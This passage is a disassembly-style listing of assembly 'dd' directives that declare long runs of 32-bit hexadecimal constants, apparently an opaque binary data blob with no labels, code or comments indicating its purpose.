		dd 0B580290h, 334806C8h, 1A727220h, 3FCC8669h, 6FF7BBE5h
		dd 79CB7C0Eh, 0F8DFA6Ah, 0E4F7B88Eh, 37A39C8Eh,	0F09E3DA7h
		dd 36FB8D8Dh, 0F3FB7CBFh, 3BF37BDFh, 691DCD5Fh,	0FC1D50B6h
		dd 87C36CCDh, 0E13BBF43h, 0DACEFF8Dh, 0B4B9F158h, 1F33A75Dh
		dd 0DFE9752Ch, 0D7553728h, 0B3A96A2Ah, 0AF5FC2BAh, 920657D6h
		dd 86D5AB8Bh, 82E4DAF2h, 0BAA78340h, 0BAD3361Eh, 2D3864B5h
		dd 0E0CDCBCBh, 2B885D79h, 0CAC8CCBAh, 0FFD4698h, 0B1E0A5F1h
		dd 7CB0C76Bh, 8FE66B5Ah, 49A4CF9Ah, 0B3C3C423h,	51FE6E2Fh
		dd 0FE5B73FFh, 0EAFA903Ah, 6D4D5E67h, 39252D03h, 4AF2B25Bh
		dd 0A7D54A0Ah, 33B280D4h, 3EA9656Dh, 9457D4F7h,	8F93918Bh
		dd 47B02DF0h, 88CD80CCh, 8F74009Fh, 7EAB3FA8h, 7D6D5D4Fh
		dd 0CFA367B9h, 750DDC27h, 8AF2FE85h, 0AAEBAB27h, 68EC3104h
		dd 1BE956ACh, 9FB55662h, 39756483h, 940031Ah, 5E03CAB8h
		dd 2A53E051h, 2BAB2BAAh, 64205C4Ch, 80F295FAh, 6D74E852h
		dd 28F5AFAAh, 481C4B7Eh, 0AB529654h, 0AD6B1404h, 1988F6F8h
		dd 2B1CD8h, 33626672h, 0F6D0EF14h, 904AF198h, 75CA2696h
		dd 0FE6048ABh, 867A40CAh, 618386A0h, 16AFB988h,	0EA22A673h
		dd 0F2D59F30h, 113189CCh, 42D36720h, 3989D9BCh,	51B614AEh
		dd 5CA5C21Eh, 72C04CCEh, 0F8693258h, 0E58E42ADh, 0B606FD7Ah
		dd 0F327ED1h, 67200EF4h, 0ADF895CCh, 0FC0573C6h, 3B24FC75h
		dd 9AF7BF81h, 1C889675h, 42BF05B1h, 53C40B84h, 0E5C030A0h
		dd 296F21A6h, 0A99A6FE6h, 4157902Bh, 57C98AF9h,	3AECE609h
		dd 0C6623C60h, 5604528Dh, 0C15B188Ah, 0EA7AFDE5h, 0D243B64Ah
		dd 6A645E4Ch, 412DA816h, 8BCD328Dh, 0E5E0035Ah,	0FC477041h
		dd 0FB3CC7DDh, 520FA351h, 0D51DE3F2h, 20E7BC47h, 0AF48F3E5h
		dd 0A0E54D07h, 2476C7D6h, 0FBFD6DF7h, 2A971177h, 54254DE5h
		dd 0C2C06F21h, 0BEF30C41h, 0D851C4D1h, 0CF07A922h, 0CC453891h
		dd 0F573109Dh, 3AC68872h, 0E0B3E9D4h, 80383B51h, 423706E9h
		dd 259CBDE7h, 0E5A3F848h, 65090796h, 0C75B8723h, 16904D25h
		dd 0EE046553h, 247DB314h, 5D7AA56Fh, 62B99C56h,	74BFBBF8h
		dd 36C68DAAh, 92A7DB8Ah, 1D22DCFCh, 606846BFh, 0E46BB83Ah
		dd 5F106D8h, 779E38F1h,	2B64DB3h, 7A72563Ch, 0E4E4D63Ah
		dd 13FEC93Fh, 1CABF158h, 95BFAA5Ah, 0E7F4C7BFh,	2A4E03Dh
		dd 2D8CBEh, 0C1DCF407h,	712E1AFEh, 1F89C005h, 0A2267CA5h
		dd 0DF68748Ch, 8516B42Eh, 53BFB1F6h, 4CBD05DCh,	6B144507h
		dd 0D011FF62h, 0A81E0E99h, 252007E4h, 0AC74B283h, 43D21E3Dh
		dd 8C79988Fh, 5B80E7DFh, 0A1D3EA0Fh, 4EA5326Fh,	0FF6CC36Ch
		dd 0F49B4234h, 0FF82D514h, 0D81BF659h, 0E61E249Fh, 82D1D3D2h
		dd 0FBF7F48Bh, 9A7D4AD8h, 29C15BA9h, 1937F5F3h,	0C7488BD8h
		dd 5966DD9Bh, 5FA85A4Fh, 12833621h, 73366E59h, 4E768E9Ch
		dd 354FCB47h, 4FA1B7F1h, 0A7383A6h, 0EC15832Fh,	19E4E08Ah
		dd 513ED2B4h, 58DBE1C3h, 5ACD3B12h, 0C042DCA8h,	0BAD5809Dh
		dd 7A1EA90Ch, 0B0966397h, 34F45A0Bh, 0D0158A4h,	0DE11A79h
		dd 35147B48h, 2DBB73A5h, 0A526D11Ah, 0E01E4A0h,	9D602DFDh
		dd 47ABDED9h, 9E5FC9E0h, 0CA639CFEh, 1BFB2663h,	7F2616CDh
		dd 0D12CB431h, 74C0D3CCh, 59E504EFh, 9E9F45D0h,	0BC7A1CBAh
		dd 0DAECA22Ah, 0DFA46B31h, 0AD7EBAE3h, 3D20A717h, 0FD88B523h
		dd 9F9F22B9h, 72C5C1DBh, 7DF3153Ch, 8B6DDE0Ch, 0B72492A0h
		dd 0E2550F41h, 0E39612B7h, 0E96FACA3h, 0AE4964BAh, 536CC47Bh
		dd 3E16F5B6h, 800EEFE4h, 0D9358CDDh, 5A7631D2h,	3E28D3DFh
		dd 0BE81DB1Ch, 6553652Ch, 0BEB325A6h, 4F1D406Eh, 0B0FADAEBh
		dd 8BA5549h, 5EF6E847h,	9DA94BD6h, 259B5933h, 18980F8Dh
		dd 3DF411CEh, 7A2954CAh, 92C29B3Fh, 742E8749h, 619E0CB0h
		dd 0E0B148FDh, 2D3F72A7h, 0C2898C85h, 50DB7A1Bh, 7ACC26DFh
		dd 0DCCA9CA6h, 44975A82h, 0D3AE9EF0h, 0A6D68F5Eh, 3CB42650h
		dd 62D7975Dh, 75739B53h, 330E0C4Ah, 0C959C479h,	47BD24E1h
		dd 2DA59B55h, 474EB9D4h, 0EA6BDAFFh, 6488A4B7h,	2F1E81EFh
		dd 0EF545D00h, 28699843h, 49B70F75h, 1E63DEBAh,	0A83269D7h
		dd 0F25A8858h, 626936F4h, 940D643Eh, 95F30CB7h,	0B7E865B5h
		dd 0D64D5B96h, 0A2399937h, 0E399B632h, 6465BA64h, 548B424Bh
		dd 1C1F2DA0h
		dd 18CD7F41h, 12DCBC3Ah, 4F9EE7CEh, 3EB2A32Dh, 0C2DC0D48h
		dd 0D2D9237Dh, 0BF8AA70Bh, 0A6DAE4B2h, 0DA194AB7h, 8B31523h
		dd 0E6B9C2F5h, 0FCDF855Bh, 0E19AC788h, 6866BCBAh, 3317DE83h
		dd 833E7A31h, 0E398169Ah, 2E4A155Fh, 5EB373C1h,	9D4B54FBh
		dd 0A4D2C99h, 0E7A8F2C5h, 0B46EF0E1h, 294872DFh, 0ABDD6991h
		dd 0D84BFF8Fh, 6B25014Fh, 314FDBA1h, 7294B23Dh,	0E403559Bh
		dd 63D621EFh, 0F50B2FA9h, 0BD16DDB4h, 22D11EDFh, 0BA7B5C65h
		dd 0E833E54Eh, 0DFE84D37h, 6A5EC801h, 0E4A5895Ah, 0CF19FD41h
		dd 22CBBFFAh, 97E33Dh, 63321EFAh, 0FB43EE2Eh, 0CDB633C4h
		dd 21E41318h, 32CDB238h, 703A9F20h, 674B34Ch, 0A08A1CDBh
		dd 4D633F2Dh, 0D1B4DCB1h, 3D57FA8h, 388F0153h, 0C6F9584Fh
		dd 99CF3FC9h, 4683FF1Fh, 0D76BEFD8h, 6B3CC0FFh,	9DE02807h
		dd 0DFC86A91h, 99966CB0h, 2B56277Bh, 0AD320F2Ch, 442A841h
		dd 9426EF38h, 0F835CB5Fh, 0BC8DBED1h, 7210129Bh, 0AD933F5Bh
		dd 587D6914h, 273B0CF1h, 0FA88D280h, 0D3DB164Dh, 6D90A79Ah
		dd 8749808Bh, 0CFCD5B60h, 0FE8293D6h, 2A52744Bh, 0AC565F59h
		dd 9CB5F82Ch, 6714F326h, 9C635C6Ch, 0DB2B2BA3h,	0B8BCA3BDh
		dd 4A05FDCh, 0F46FF260h, 0A54AFC78h, 0BC148E99h, 985CE192h
		dd 67654EDFh, 0AD6D7966h, 39259F35h, 1E5913D7h,	87719565h
		dd 0CFEF5FDFh, 2BF8ADDBh, 0E8F7EB6Bh, 5D4AB969h, 1BF01A86h
		dd 9CB4E732h, 8CAB3995h, 9FC04170h, 0A467D3B9h,	5795970Fh
		dd 7999A5C7h, 729FFA36h, 0AC56EFD6h, 1AA1534h, 0FBCB2EC7h
		dd 3515052Ch, 1C4C0454h, 0D664435Ah, 1E8AABD6h,	0F2043577h
		dd 0FE29D4F6h, 3CFBCB34h, 2967529Fh, 52B16573h,	0AFDF9C31h
		dd 572FA028h, 9C4C6B2Eh, 4980F2CCh, 0E5C5A23Bh,	0F57796B5h
		dd 0B8ACA7BEh, 0A51E7539h, 174B1731h, 0E5CC996Bh, 83564E30h
		dd 0F0470CCFh, 0D446E3A8h, 2F68694Fh, 0DA1DB6Bh, 0D4B6586h
		dd 6C89E395h, 17274927h, 0CCCBE56Dh, 0D457ED93h, 0A640DA86h
		dd 0D278A957h, 8DB5365Ah, 0DA08D785h, 2BCE9DE8h, 617531EDh
		dd 0E03D728Fh, 5EB932F0h, 2F9FD16Ch, 78B3CFEAh,	78005Eh
		dd 0A0364001h, 7F4A7015h, 0A7E7AA9Fh, 0F465C2F4h, 0AA712B3Dh
		dd 2B1473B1h, 5F8F6F26h, 704FB91Ah, 0C63C7C77h,	9C4D3B9Bh
		dd 0F819C069h, 0E41C48DCh, 9C4CD9B5h, 2311C0C9h, 2CFD49CBh
		dd 4D1F8CD6h, 1267031h,	0BAA8DE67h, 118ACD66h, 0A672CDB3h
		dd 18FAE702h, 6ED9C575h, 0A67137h, 0BAA8C967h, 0DAC71752h
		dd 6271336Eh, 0AA383380h, 79A0C59Ch, 1B73899Ah,	97476270h
		dd 0B90C6523h, 2D7782BFh, 0AF087980h, 0B8475C07h, 7807600Bh
		dd 3E2F100h, 0A5EC3793h, 2D1D4F6Dh, 0FCE378C7h,	6327B1ADh
		dd 7EFDBF7Dh, 740D7F89h, 5975601Ah, 0B4CEB396h,	1FE468E7h
		dd 0A7A46789h, 0F6814F62h, 0AFB07B05h, 0ED3086D0h, 0EC22F5FDh
		dd 9F52BCFBh, 0BCB5755h, 0BF965F7Ch, 7EFA7DEh, 1D944AF8h
		dd 631F8A05h, 0DBEBA50Ah, 8DBBC600h, 0B5D59595h, 0FCF0ACD5h
		dd 0B6B3341Dh, 0A00BA95Ah, 7D7D770Ch, 4EF94B60h, 368FAB68h
		dd 1645681Eh, 425B63F0h, 0AFB751A6h, 281090E3h,	0E4703140h
		dd 0BF5604BEh, 44C97014h, 0E2AD539Fh, 20B723B2h, 9D70BBC4h
		dd 0BC145716h, 9C5AFFB6h, 3DE6B697h, 448FE0DFh,	784FED1Eh
		dd 75DAEF03h, 4B8A669Ah, 79FAE534h, 100A60C7h, 8362DB82h
		dd 0D9F7F6E7h, 0FED0C734h, 0A05C7E5Fh, 9C233A21h, 4D5C131Fh
		dd 3AD2EC1Fh, 1F62D4CEh, 0D5ECE42Bh, 0E39AFD1Ch, 0D3E8E68Ah
		dd 68F7081Ch, 0D1CD6E8Eh, 353A39A5h, 0D1CD05C7h, 694E39AEh
		dd 71CD368Eh, 0D61C7342h, 4734871Ch, 0A038E68Bh, 83B59A39h
		dd 0ED6A217Bh, 1FB2360h, 0D7EC7DF6h, 7ECA5FB2h,	0D9EBFB2Eh
		dd 127ECA5Fh, 9DA8F3FBh, 0CBD99D2Eh, 0E8405C14h, 200E8730h
		dd 2D438274h, 0A2C14BE1h, 0FA6AE096h, 476DE8CEh, 1B091B92h
		dd 0B0637BE8h, 0CECE42Bh, 0C3D33E5Fh, 89C25778h, 6B99CDC4h
		dd 63D3EB1Ch, 0D7EB1C43h, 290BB163h, 2D8F4A76h,	8CB358E5h
		dd 42872705h, 0A8A84B44h, 105DDF39h, 273E8C3Eh,	0DD34760Eh
		dd 9780A5E1h, 5C0B9936h, 2CA5C4E1h, 0AFFDCAAFh,	3CC8D931h
		dd 8DC768EBh, 3C60ED1Eh, 0B3E91345h, 4451DE28h,	78CF1204h
		dd 7A43FCB9h, 5D888D6Dh, 25A6739Dh, 0C724F122h,	661274DAh
		dd 9318E84h, 0ABB74E8Eh, 7C647C20h, 0C4027412h,	0C3CF83ACh
		dd 4F3A0958h, 5051DB79h, 45D3043Eh, 79765D0Ch, 5F0F113Bh
		dd 0FE2D7FDAh, 99AC8EFh, 0D9216B76h, 35F81E0Ch,	307A6D36h
		dd 73429DB4h, 31CDB40Bh, 465A19C1h, 97A0F06Ch, 0C2E23210h
		dd 0DA608647h, 0E3518E84h, 44E1DCB9h, 0AEBFAFAh, 76A1FB71h
		dd 0FFBC0AFAh, 0E884648Dh, 0D755304Bh, 42CCBE13h, 0A143E624h
		dd 1244165Ah, 0E84B2987h, 0EF9BD518h, 548499AEh, 3A171BCEh
		dd 62105A46h, 0CC1FCE82h, 62043F82h, 106EB3CFh,	0FA44E1B1h
		dd 0F6741D1Ch, 2B1088D4h, 15D84D4Fh, 0C5CB963Ah, 23E91384h
		dd 9C858CB5h, 0F489C387h, 15165AB5h, 0D96FA44Eh, 9D24F1C4h
		dd 9DB02A63h, 1FCE44B6h, 4C60825Ch, 0E3105DB2h,	16441676h
		dd 183A4ED7h, 80983F8Bh, 0D9065814h, 28485CB2h,	3D20CE23h
		dd 84CD989Ch, 490A4127h, 0B31E0A52h, 60ED4AD6h,	9A395982h
		dd 7EDB8125h, 0B3A3CEB1h, 9F18325Dh, 0E0E0C91Ch, 0A6CA9478h
		dd 944852B1h, 9BE510A7h, 0BE584063h, 5E836485h,	43FD493h
		dd 193EABA5h, 1E9FB9A5h, 193F5BA5h, 8F4F81A5h, 8C9F03D2h
		dd 1E9F13D2h, 50636DA5h, 95E741Ah, 3A0A9D16h, 0F3F382FAh
		dd 0F174C0DDh, 0A44E1908h, 4BDA2513h, 0C6136AF8h, 1E0AE2ECh
		dd 0CDC610A4h, 0A0FA29C1h, 41888145h, 82251CCBh, 676F3ECEh
		dd 0D578E472h, 95E34C93h, 3F249F1Ch, 0A390B635h, 11472DDDh
		dd 352F3817h, 2D73A2A9h, 0B60E9328h, 594BCBFCh,	7172419Ch
		dd 1B7ED242h, 0AB5AC563h, 2E0C47D4h, 632EDC4h, 42F3A0A3h
		dd 0AF99153Bh, 6098A885h, 0D0A09CA7h, 9A39C136h, 9530782Dh
		dd 2631BBE4h, 236F8988h, 0A396BDC4h, 2464171h, 3AEC3032h
		dd 918F4B06h, 672475B2h, 0F8417E6Fh, 1A4321F9h,	71A52343h
		dd 0D1116E26h, 0FD0FA5D7h, 2F6E5D45h, 749148A5h, 1D072F87h
		dd 705390DDh, 511C6BBEh, 79A21A21h, 0FD459817h,	684CB72Eh
		dd 4A2B04E4h, 97B45380h, 424ED984h, 318253B6h, 9C8C24B9h
		dd 0D0A6645Ch, 3F2C2A31h, 0DA3B93C4h, 5F95D9BDh, 0EC4E1313h
		dd 0F6FB6261h, 74C091BFh, 35D347B9h, 96446F5Fh,	3E8BEB35h
		dd 426A8F76h, 0AA4BB659h, 89EFF052h, 0F37ACC3Ch, 8DE6C20Ch
		dd 5ED8EC22h, 659B1D9Eh, 8FC4F60Bh, 5940C937h, 8F31BFF7h
		dd 244D7409h, 5701E738h, 0C17055BEh, 92435EA2h,	7D925D01h
		dd 449F1E66h, 6384CC31h, 56F2AE3Eh, 1ECE052Dh, 5AC5463Ah
		dd 0B788064Ch, 14CBC591h, 73559EC9h, 1C0D649Bh,	0ACC4B618h
		dd 0ADF13B03h, 1FE0BB9Ah, 5886A987h, 85F87157h,	362F92D1h
		dd 9D06CF24h, 9635C02Ch, 0FCD30C66h, 0AC318FEEh, 53C64341h
		dd 5750930Fh, 15C071D0h, 0D7B3A841h, 425C7CA0h,	60D884E7h
		dd 0F5177194h, 0FFA409B0h, 2DF4A68Fh, 0FA3ACFE4h, 0ACFF1BE3h
		dd 39BF8B1Dh, 6FD2C327h, 2E92CC15h, 53383FFDh, 3FE6A517h
		dd 0DFE6813Fh, 10C7FCBAh, 0C171D07Dh, 0BD22A915h, 0A5622A91h
		dd 0D0423029h, 0D04FDF81h, 0B170743Ch, 0CBDE8291h, 8DD77324h
		dd 184D6831h, 24887096h
		dd 3C2434ECh, 8B05DA3Ch, 6BCA182Eh, 75D7B80Ah, 0AA6FDA13h
		dd 0E01B37CDh, 0C779DA40h, 0BEA5AD10h, 0DF8DEEh, 765F3DB3h
		dd 5B9EC977h, 0D4C91D56h, 92DC0370h, 0B82E7C0Dh, 0AC25A79Ah
		dd 0D2D12E4Ch, 58AD12E5h, 0D792F5E0h, 79375E43h, 9275E45Dh
		dd 3D168177h, 0B5A53C71h, 8A7DC193h, 3BC8DB12h,	0E4C3D141h
		dd 0B68A21Dh, 9D3D5879h, 0DA303A0Bh, 63F386C7h,	0A0A18E83h
		dd 13D95AF3h, 6276ED1Eh, 0BFE0F1E9h, 8C71FB6Dh,	0FAC13C38h
		dd 0FD7590F1h, 690816B8h, 869AD61h, 4E0E2D72h, 8262BB09h
		dd 535A7145h, 4574D6BFh, 9AD3EA6Bh, 1EA6B57Ah, 6B5BA9ADh
		dd 3A9AD2EAh, 5A0BA6B5h, 0D4D6BB53h, 0D49D35AAh, 599235Eh
		dd 0CBC57437h, 331A19E5h, 33C4D89Eh, 73C71881h,	0A81F2F1Eh
		dd 0E5A06D6Bh, 0D96EF05Dh, 0D75F227h, 0C2E72CBEh, 51EC5A44h
		dd 4D18C693h, 49B2331Ah, 6206DED3h, 7C97BAE5h, 6EE778ACh
		dd 0C62FADBCh, 481DBE0Eh, 6EF371A7h, 591CDC7Dh,	6251BC62h
		dd 212528FCh, 0F4AD6934h, 0F27A8B07h, 0C6059A89h, 7C3BB3AAh
		dd 5788A11h, 585659E5h,	3B90AC4Eh, 0E70D8710h, 0AACB4B3Ch
		dd 35499ACEh, 7350C973h, 330C51BCh, 76D8AB0Dh, 0D9A4723Ah
		dd 0F2D3D8D8h, 0C060C863h, 0C2D61A5Ah, 0C5D57D4Ch, 0B92FAEEAh
		dd 7AE6AD1Ch, 3CE4352Bh, 489B2E89h, 45437C67h, 5E8E4327h
		dd 5BC5DE37h, 911524C9h, 0D6CE73Ah, 988FB515h, 0F922E30Ch
		dd 5C8FA8BFh, 5F0AED1Ch, 0E2878D84h, 0F505CB2Fh, 0AD8D5745h
		dd 9E4DEC26h, 59F51344h, 0E433B1AEh, 0E91742E8h, 6C991746h
		dd 0A87C7A28h, 0E6C6B7A8h, 41500EF6h, 0B9127489h, 0A44E16C6h
		dd 41DEC973h, 6ABF231Ch, 851632C7h, 6EB5263h, 266C9631h
		dd 32568EA1h, 4BADF20Fh, 0EE93A2C3h, 6746941Ah,	22E9C79Ch
		dd 606FEE8h, 0F58994F7h, 361C413Ch, 0DEFA04DCh,	6CF7D569h
		dd 0B5F7F7D2h, 5360A186h, 0AA70496Ch, 5A10F7D4h, 6B5FA1B4h
		dd 0BA1AD1E8h, 0AD2E86B5h, 406B43A1h, 0D0D6BB4Ah, 0D71C35AAh
		dd 0D3B45A1Ah, 9A71FDBCh, 0B7A7D117h, 0E0A6CFB2h, 4F1AB669h
		dd 0C098F0A7h, 0EBEADEA6h, 0A208532Ch, 2514FC03h, 19501B33h
		dd 0D0A616Fh, 13DC897Dh, 0D6A3554Ch, 5C1B3A29h,	1B13164Dh
		dd 0B931DAABh, 0A43AE040h, 0D32D29B9h, 443C2983h, 0ABB3656Dh
		dd 256F7207h, 0F9968B9Bh, 76BEBCEDh, 8527AAD1h,	0EED76442h
		dd 1351A14Dh, 0F25C9836h, 119A71Eh, 8E423A79h, 0A5D6E816h
		dd 65AD6850h, 263371AEh, 0F2F21F97h, 578A0084h,	0A69BC427h
		dd 62F87F48h, 0EB9798E8h, 0B38D0697h, 0C71D8505h, 72AD8E0h
		dd 0A36E6947h, 88617527h, 8A43E5A4h, 3A3208BEh,	96F62B4Fh
		dd 7CE3FD78h, 96E66A5h,	0DC599F75h, 6F0D4E75h, 5BB51449h
		dd 0EB71C73Ah, 346E8466h, 51C1A45Fh, 99C704EFh,	796E8B7Fh
		dd 543F88BFh, 187CBAB8h, 8C3C3785h, 5A8BCB1h, 0DD071EB4h
		dd 953672ADh, 9559E699h, 797F18D0h, 787863C3h, 59E8A0EEh
		dd 0C3E31143h, 311531EEh, 0CDFEB045h, 0DAFF431Bh, 0BFEBC04Fh
		dd 0E5982DFFh, 0E7FD83A4h, 2B6D71Dh, 8063BCE9h,	0D0779EDEh
		dd 717A1E6Eh, 5836306Ch, 0B6C6EB14h, 0DE26E61Dh, 549070D5h
		dd 1188E8F0h, 3BCF9A93h, 994E9DAh, 0C104CD6h, 2540A5FDh
		dd 73CEE6B6h, 6C96106Bh, 0FADEEA48h, 2E5DA8C2h,	8D085105h
		dd 0CE503549h, 0C31A32F5h, 705C7153h, 181D1BB6h, 205FD165h
		dd 0D4C26AB8h, 0C4ACFB9h, 0C2BABEB9h, 90BCE0EDh, 63449B2Fh
		dd 231D0B4Dh, 0E41DDFDBh, 0B63E0808h, 0F9A6579Dh, 42FF6F49h
		dd 7FEE046Eh, 0B4D17C8Dh, 7BC926B8h, 31282A08h,	0A45E415Dh
		dd 57A1CBE6h, 4EAF7E2Eh, 29526B97h, 68F93684h, 0A639219Dh
		dd 298E04DEh, 0FB8FF696h, 15B0F35Fh, 0A5470641h, 0BCF87456h
		dd 8B0665A3h, 0B5F415A2h, 0DD6DA3E7h, 99BA5F52h, 92F9E3F3h
		dd 77A80829h, 422A3078h, 90325BE3h, 9A649029h, 38B85302h
		dd 98721A53h, 0F1D4FA43h, 24235125h, 7249C1F3h,	0EC3F2DABh
		dd 842D1E4Ah, 29042964h, 74BF20A6h, 0EBB04219h,	42EBB042h
		dd 26F56930h, 0AE694FE1h, 0F88CB22Eh, 0AD4568E8h, 1A7B6A6Eh
		dd 0F1DD2568h, 0E3B5B8E7h, 0C6752878h, 7E936706h, 0E33A7692h
		dd 0A826B12Bh, 3090D4h,	0D2D74B9Bh, 4F5827B2h, 0F74DC4E3h
		dd 5B5FF797h, 0C7960E62h, 1F52C1CDh, 7960E585h,	0F84B0785h
		dd 0E52C187Dh, 241987B0h, 26A57454h, 0F515A5DEh, 0C574779Ch
		dd 6D7249DAh, 0BF621EFAh, 4031919Ch, 0D04F7BE4h, 7F4894C0h
		dd 67A3730Fh, 0A336077Eh, 0D071BFBDh, 193919A8h, 0F81B7B58h
		dd 6A55F671h, 38BBF663h, 7FF1D371h, 9342B5FFh, 0F831D69Fh
		dd 0E23A0F89h, 6566674h, 0E18DF363h, 0F4B69B1Fh, 34413C07h
		dd 8F09FD02h, 80BD25BEh, 2A0745B7h, 0EB3FBE0Fh,	0B2F09FB9h
		dd 0CF9C0E21h, 683FD1FAh, 0D273B445h, 0C3A65186h, 0E8EF3AEDh
		dd 4BB83D91h, 2936E0F6h, 67EB170Eh, 0FC863E47h,	7898B62Eh
		dd 6EB2EE3Ch, 48C15C58h, 6F272F96h, 8EC1D196h, 0FEE55C40h
		dd 9AB36CF7h, 5D2516FFh, 8FACB2FDh, 0D1B6732Bh,	14A36C0Bh
		dd 67BBE475h, 0BEDFD335h, 1B066254h, 874752B3h,	47DA564Bh
		dd 0A84759A3h, 0EC722BA8h, 0D03F8C3Ch, 7DF8BABAh, 69810E8Ch
		dd 0ADCEB9BCh, 9A0E8E1h, 9F813ADEh, 7A787DE3h, 6840D119h
		dd 279AF19Fh, 127F489Ch, 0C4FB7135h, 3ED3ED99h,	69A07DAAh
		dd 0A0129A96h, 0A8E3FD0Ah, 2DB0FC42h, 0F07D1370h, 8C75F599h
		dd 86FDDFADh, 0B0C17031h, 96A45A01h, 0F2926317h, 0F190A6B6h
		dd 0B22F89Ah, 62E69DB6h, 0E7F40C8Ch, 2F6DC15Fh,	0F752DED2h
		dd 43E491DFh, 0EF9A7E8Eh, 47DBDAF0h, 18F6BF13h,	4BB1E178h
		dd 9C73DEDFh, 0A2BDBDA4h, 0A4351476h, 9C98744Fh, 673D5D8Dh
		dd 0DF50707Bh, 0E3E87BCDh, 953CC3C0h, 0E52A69DAh, 2943BD72h
		dd 0C28DD9B4h, 4B31DCB9h, 20BEE6A3h, 2EEF03A7h,	0D5DDC1FCh
		dd 0B22C3184h, 0D939DC73h, 4C6D5E0Eh, 3239727Fh, 2B177CF1h
		dd 4EB7B026h, 0AEADED59h, 0AC6C44B1h, 0D694E1Ah, 0A7435ABDh
		dd 4F446821h, 0B5470D6Ah, 0AF4AFAD3h, 0CBC9AD88h, 48C9FA90h
		dd 0D8C49FA9h, 0A9BD4A67h, 0C1EA5865h, 0B043876Dh, 4443A629h
		dd 0D5D87524h, 0B46217DAh, 0B7797BD3h, 0A5D54A95h, 443DA34Fh
		dd 4B4A6717h, 190DDEEh,	527FC522h, 137AD00Eh, 914D3BACh
		dd 66D643C0h, 6696538h,	528C65AEh, 65DA0DA9h, 0D593601Bh
		dd 97BA4DEDh, 46D9363Ah, 2AB06667h, 0AF5C6BC6h,	0E690AC76h
		dd 97366E92h, 78E71434h, 56A54C85h, 5E79C20h, 735E392Ch
		dd 0EE6A1650h, 70715A36h, 32FCA0DEh, 0EBC83B37h, 6CCFDE55h
		dd 732E60D6h, 0B99FBC91h, 6B33F795h, 51537B26h,	976E213Dh
		dd 581D6988h, 5ACD10A1h, 68FE943Eh, 3DB641BEh, 2C4A7BC4h
		dd 0FC36F05Dh, 0FD60C5E5h, 51775802h, 0BE0DD359h, 0B6CC5D7Bh
		dd 39F4E4Fh, 0EB1AA372h, 4A1462DDh, 0DE9377Fh, 581AC23Fh
		dd 378D1474h, 0A5C9E03Ch, 5EBC54B2h, 0DC1C317Dh, 2E77AC60h
		dd 0D12EF093h, 0C4F2F862h, 59A00CBh, 0B9EFE826h, 0DDF632A6h
		dd 0BB1F7F42h, 5C3707A7h, 5FBFA33h, 0EC8D4B5Ah,	7161E90h
		dd 0CADE5BACh, 1A6F90BFh, 787B23B7h, 1A148B8Fh,	5EE042A3h
		dd 88440E5Eh, 1B3BCE2Ch, 7575967Fh, 0FDBF69BAh,	0CBE7FBD7h
		dd 0F94EA570h, 0F35C9C9Dh, 6FF7D196h, 0BC39EE19h, 36F80E3Bh
		dd 9F80FBE0h, 0FA012E00h, 38808301h, 24E811Ch, 0B5807DCh
		dd 3B60170h, 53F8002h
		dd 9380F3Ch, 0A7E03EF8h, 0A249C680h, 5FCF1BB9h,	6203AE00h
		dd 738B87F1h, 0AC059F01h, 0DC016405h, 80ED80h, 9FF02B60h
		dd 0A028F3C5h, 0F11E700Dh, 0DD9E09Fh, 1DF844E8h, 88077F3Ch
		dd 2EE217CBh, 0A5A441C0h, 9012B9E0h, 680AD80Dh,	0CF179A41h
		dd 10E002Fh, 17F102FEh,	0FC036CF1h, 8897F018h, 737EA3E3h
		dd 0BFC217h, 0C1880FBCh, 0C004ED61h, 60164052h,	8009E00Bh
		dd 0EC07E017h, 8F721C05h, 59588F7Dh, 3D454E66h,	2B2ACF1Fh
		dd 5594D4F7h, 75E502FAh, 633833D6h, 0F719BB9Dh,	3CE591ECh
		dd 4E53E8CDh, 0E1DC9E63h, 0BBD53D3Ah, 5FF276CBh, 0F834EA4Bh
		dd 155BFE15h, 99B59EBh,	970CE44Eh, 0A272B691h, 89E64F53h
		dd 0A8E751A0h, 0B1584B86h, 0C5223AA6h, 798D246Fh, 4733296Eh
		dd 56961EADh, 3549F7A6h, 6718E4F0h, 0BF0270ACh,	0B0A5B1D8h
		dd 0F2667F0Ch, 988E1948h, 9988F9B9h, 38D794F5h,	0E72CB767h
		dd 2138C6B2h, 334E9FA6h, 9B2E56A5h, 4ED3AC6Eh, 0F8DDFA96h
		dd 497291C3h, 0CBBFD115h, 9F7C881Fh, 9FF8A0DFh,	0E00BA9CAh
		dd 85795AB0h, 0C68E8ED9h, 0C817C50Ah, 0D4F3AF2Eh, 5199162Ah
		dd 17948D4Bh, 32EA437h,	5D57CC97h, 4742375Fh, 0E4586CF8h
		dd 711131C9h, 0ABA98DD6h, 0B132AFADh, 0BBA19C46h, 566A9385h
		dd 0AAD518BDh, 89E46932h, 0B74F31ADh, 2C8AE445h, 89C63FD9h
		dd 79E1313Fh, 36D33A41h, 9B8A9FEh, 9E46134Eh, 0B1CCCC4Eh
		dd 0CF5B6B6h, 6CEEB21Ah, 463895A8h, 51CCCE5Fh, 0F9237D1Ah
		dd 5CE4EB1Bh, 0D45D45D4h, 45D45D45h, 5D45D45Dh,	0D45D45D4h
		dd 45D45D45h, 5D45D45Dh, 0D45D45D4h, 45D45D45h,	5D45D45Dh
		dd 0D45D45D4h, 0FDD45D45h, 0FFF86E3Eh, 0B7CC9BD0h, 79C56EBBh
		dd 3AF2998Eh, 0DA3A66EFh, 77FF2292h, 8D9E0B3Ch,	1E6BD0EFh
		dd 0A8F8FD27h, 4562C9F4h, 0DD2FDF03h, 0BCF12BCh, 0D9E1A678h
		dd 0BA7E4636h, 1470747Bh, 0BEC6F25Dh, 0E9D8DB58h, 4F49C6F3h
		dd 2D7D2719h, 6A1C2E1Eh, 4DB3C018h, 0AEC314BFh,	8DD5BBCAh
		dd 0F9954FB8h, 7C71F88Dh, 349FEF7Bh, 37C66F1Ch,	7BCB54FFh
		dd 0E8D80DC3h, 0EE3141B8h, 4F832A24h, 0E01616F7h, 0DC3CB986h
		dd 0B7C65551h, 0EFD26E38h, 0E62D7C3Dh, 371B1F37h, 0D3BA8F7Dh
		dd 853DD47Ah, 507877C3h, 63B8E5D9h, 284DB8C8h, 550C7707h
		dd 0BE226EE2h, 157396BFh, 75D2DDF2h, 3966737Ch,	2F5496DFh
		dd 2BDDE4EAh, 74316D31h, 0EF8DB7FFh, 0F7EBF691h, 692E8D28h
		dd 0E2A4E329h, 1B7925DEh, 0E2DC2AF6h, 8B59B244h, 0FA6CB35Bh
